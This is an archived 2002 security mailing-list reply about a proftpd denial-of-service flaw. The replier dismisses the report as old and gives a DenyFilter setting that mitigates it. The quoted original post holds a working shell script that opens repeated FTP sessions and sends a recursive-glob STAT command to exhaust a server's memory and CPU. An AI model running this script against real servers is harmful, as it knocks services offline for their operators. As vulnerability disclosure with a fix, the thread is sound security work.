Re: [VulnWatch] proftpd <=1.2.7rc3 DoS

From: Kurt Seifried (listuserat_private)
Date: Tue Dec 10 2002 - 11:44:38 PST

  • Next message: Kurt Seifried: "Re: [VulnWatch] proftpd <=1.2.7rc3 DoS"

    This is so old I can't even find any postings/articles I remember making on
    it. Here is one link from early last year:
    
    http://lwn.net/2001/0322/a/proftpd-dos.php3
    
    Check the documentation:
    
    DenyFilter \*.*/
    
    Problem solved.
    
    People should search Google before posting, it's far less embaressing.
    
    Kurt Seifried, kurtat_private
    A15B BEE5 B391 B9AD B0EF
    AEB0 AD63 0B4E AD56 E574
    http://seifried.org/security/
    
    ----- Original Message -----
    From: "Rob klein Gunnewiek" <rmkleingat_private>
    To: <bugtraqat_private>; <vulnwatchat_private>
    Sent: Sunday, December 08, 2002 4:53 AM
    Subject: [VulnWatch] proftpd <=1.2.7rc3 DoS
    
    
    > Hello,
    >
    > proftpd is vulnerable to denial of service similar to the list
    > */../*/../*/../*.
    >
    > #!/bin/sh
    > #
    > # proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least
    > # might work against many other FTP daemons
    > # consumes nearly all memory and alot of CPU
    > #
    > # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
    > #
    > # 7-dec-02 - detach  -  www.duho.org
    > #
    > # use: ./prodos.sh <host> <user> <pass>
    > # do this some more to make sure the system eventually dies
    >
    > cnt=25
    > while [ $cnt -gt 0 ] ; do
    > ftp -n << EOF&
    > o $1
    > quote user $2
    > quote pass $3
    > quote stat /*/*/*/*/*/*/*
    > quit
    > EOF
    > let cnt=cnt-1
    > done
    > sleep 2
    > killall -9 ftp
    > echo DONE!
    >
    > #end
    >
    



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